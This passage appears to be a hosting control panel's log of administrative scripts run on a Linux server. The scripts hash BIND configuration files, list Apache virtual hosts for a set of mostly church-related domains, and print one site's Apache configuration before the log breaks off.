Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2026-01-03 19:19:09: Establishing a connection
2026-01-03 19:19:37: Establishing a connection
2026-01-03 19:19:38:
PUT: /tmp/pkp469512
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-03 19:19:38:
runuser -l bind -s /bin/bash -c '/tmp/pkp469512; rm /tmp/pkp469512'
2026-01-03 19:19:38:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-03 19:19:43: Establishing a connection
2026-01-03 19:19:44:
PUT: /tmp/pkp313202
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2026-01-03 19:19:44:
chmod 755 /tmp/pkp313202; /tmp/pkp313202; rm /tmp/pkp313202
2026-01-03 19:19:44:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
alias www.carelinksaustralia.info
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
alias www.carelinksaustralia.info
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2026-01-03 19:19:44:
PUT: /tmp/pkp590041
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-available/baptizo_www_info.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 19:19:44:
chmod 755 /tmp/pkp590041; /tmp/pkp590041; rm /tmp/pkp590041
2026-01-03 19:19:44:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/baptizo_www_info.conf 1355
<VirtualHost *:80>
ServerName baptizo.info
ServerAlias www.baptizo.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/baptizo_www
<Directory /var/www/baptizo_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/baptizo/www_access.log combined
ErrorLog /var/log/apache2/baptizo/www_error.log
SetEnv pkp_uid 55
SetEnv pkp_owner baptizo
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName baptizo.info
ServerAlias www.baptizo.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt
